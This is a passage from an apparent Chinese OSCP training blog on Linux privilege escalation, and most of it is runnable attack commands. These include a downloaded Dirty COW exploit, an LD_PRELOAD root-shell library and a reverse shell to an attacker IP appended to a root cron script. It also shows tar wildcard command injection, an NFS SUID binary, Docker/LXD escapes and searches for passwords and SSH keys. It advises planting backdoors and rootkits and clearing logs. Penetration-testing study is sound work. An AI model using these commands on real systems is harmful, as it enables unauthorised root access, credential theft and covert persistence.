# 看系统内核版本，找已知漏洞
uname -a
cat /etc/issue
cat /proc/version

# 环境变量，可能有密码
env

# 找SUID/SGID文件（重点！）
find / -perm -u=s -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null

# 找可写目录/文件
find / -writable -type d 2>/dev/null
find / -writable -type f 2>/dev/null | grep -v "/proc/"

# 定时任务（重点！）
cat /etc/crontab
ls -la /etc/cron*
crontab -l

# 当前用户
whoami
id

# 用户列表
cat /etc/passwd

# 组列表
cat /etc/group

# 查看sudo权限（重点！）
sudo -l

# 历史命令，可能有密码
cat ~/.bash_history

# 网络接口
ifconfig
ip a

# 活动连接
netstat -tuln
ss -tuln

# 进程
ps aux
ps -ef

# 下载漏洞利用代码
wget https://www.exploit-db.com/download/40839 -O dirty.c
# 编译
gcc -pthread dirty.c -o dirty -lcrypt
# 执行，设置新root密码
./dirty password
# 然后用新密码su root

find / -perm -u=s -type f 2>/dev/null

sudo -l

# 创建恶意共享库
cat > /tmp/evil.c << EOF
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setuid(0);
    system("/bin/bash -p");
}
EOF

# 编译
gcc -fPIC -shared -nostartfiles -o /tmp/evil.so /tmp/evil.c

# 利用
sudo LD_PRELOAD=/tmp/evil.so <允许的命令>

五、计划任务利用：守株待兔

计划任务（cron jobs）通常以root权限定期运行。如果任务调用的脚本或程序我们可以修改，那就可以“守株待兔”，等root自己执行我们的恶意代码。

查找计划任务

cat /etc/crontab
ls -la /etc/cron*
crontab -l

利用方法

1. 找到以root运行的计划任务。
2. 检查任务执行的脚本是否可写。
3. 如果可写，直接修改脚本，添加反弹shell。

   echo'bash -i >& /dev/tcp/攻击者IP/4444 0>&1' >> /path/to/script.sh
   

4. 等待计划任务执行，接收shell。

通配符利用

如果计划任务里使用了通配符，比如：

tar cf /backup/backup.tar *

我们可以利用tar的--checkpoint参数注入命令。

# 创建恶意脚本
echo'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > /home/user/runme.sh
chmod +x /home/user/runme.sh

# 创建特殊文件名
touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=sh\ runme.sh

# 等待tar执行
# 然后运行
/tmp/rootbash -p

六、NFS配置错误：隔山打牛

NFS（网络文件系统）配置不当，也可能导致提权。如果NFS共享配置了no_root_squash选项，那么客户端上的root用户在挂载的共享上保持root权限。

检查NFS共享

# 在攻击机上
showmount -e 目标IP

利用步骤

1. 在攻击机上挂载NFS共享：

   mkdir /tmp/nfs
   mount -t nfs 目标IP:/共享路径 /tmp/nfs
   

2. 在挂载的共享上创建SUID程序：

   cat > /tmp/nfs/root.c << EOF
   #include <stdio.h>
   #include <stdlib.h>
   #include <unistd.h>
   int main() {
       setuid(0);
       setgid(0);
       system("/bin/bash -p");
   return 0;
   }
   EOF
   

3. 编译并设置SUID权限：

   gcc /tmp/nfs/root.c -o /tmp/nfs/root
   chmod u+s /tmp/nfs/root
   

4. 在目标服务器上执行（需要能登录目标服务器）：

   /path/to/shared/root
   

七、其他提权方法

密码和凭证查找

# 配置文件里找密码
grep -r "password" /etc/ 2>/dev/null
grep -r "password" /var/www/ 2>/dev/null

# 找SSH私钥
find / -name id_rsa 2>/dev/null
find / -name id_dsa 2>/dev/null

# 历史命令
cat ~/.bash_history

PATH环境变量利用

如果root用户执行的脚本中调用了没有绝对路径的命令，我们可以通过修改PATH，让系统执行我们自己的恶意程序。

# 假设root执行的脚本里调用了`service`命令
# 我们创建一个恶意service程序
echo'/bin/bash' > /tmp/service
chmod +x /tmp/service
# 修改PATH
export PATH=/tmp:$PATH
# 等待root脚本执行

库劫持

利用LD_LIBRARY_PATH环境变量，劫持共享库。

Docker组成员

如果用户属于docker组，可以挂载主机文件系统。

docker run -v /:/mnt -it alpine chroot /mnt sh

LXD/LXC组成员

类似Docker，如果用户属于lxd或lxc组，可以创建特权容器。

lxc init ubuntu:16.04 test -c security.privileged=true
lxc config device add test mydevice disk source=/ path=/mnt/root recursive=true
lxc start test
lxc exectest /bin/bash

八、提权后该做什么？

拿到root权限，别急着庆祝，先做这几件事：

1. 稳定shell：用python或socat建立一个更稳定的shell。
2. 抓密码：提取/etc/shadow，尝试破解。
3. 留后门：添加SSH密钥、创建新用户、安装rootkit。
4. 清日志：清除入侵痕迹，但OSCP考试通常不要求。

九、防御建议

知道怎么攻击，才能更好防御。给管理员的建议：

1. 最小权限原则：用户只给必要的权限。
2. 定期更新：系统、内核、软件都及时打补丁。
3. 安全配置：禁用不必要的服务，检查SUID/SGID文件，配置安全的sudo权限。
4. 监控日志：关注异常登录、sudo使用、文件修改。

总结

Linux提权就像闯关游戏，需要耐心和技巧。从信息收集开始，一步步尝试各种方法。在OSCP考试中，通常不止一种提权方法，如果一种不行，赶紧换另一种。

下期预告：Linux提权讲完了，下次我们讲Windows提权。从User到SYSTEM，又是一场硬仗。关注我，带你通关OSCP。

互动一下：你在提权过程中，用过最骚的操作是什么？是SUID、sudo还是内核漏洞？评论区分享你的故事。

（本文所有技术内容仅用于合法授权的安全测试与学习，任何未经授权的攻击行为均属违法，必将受到法律严惩。）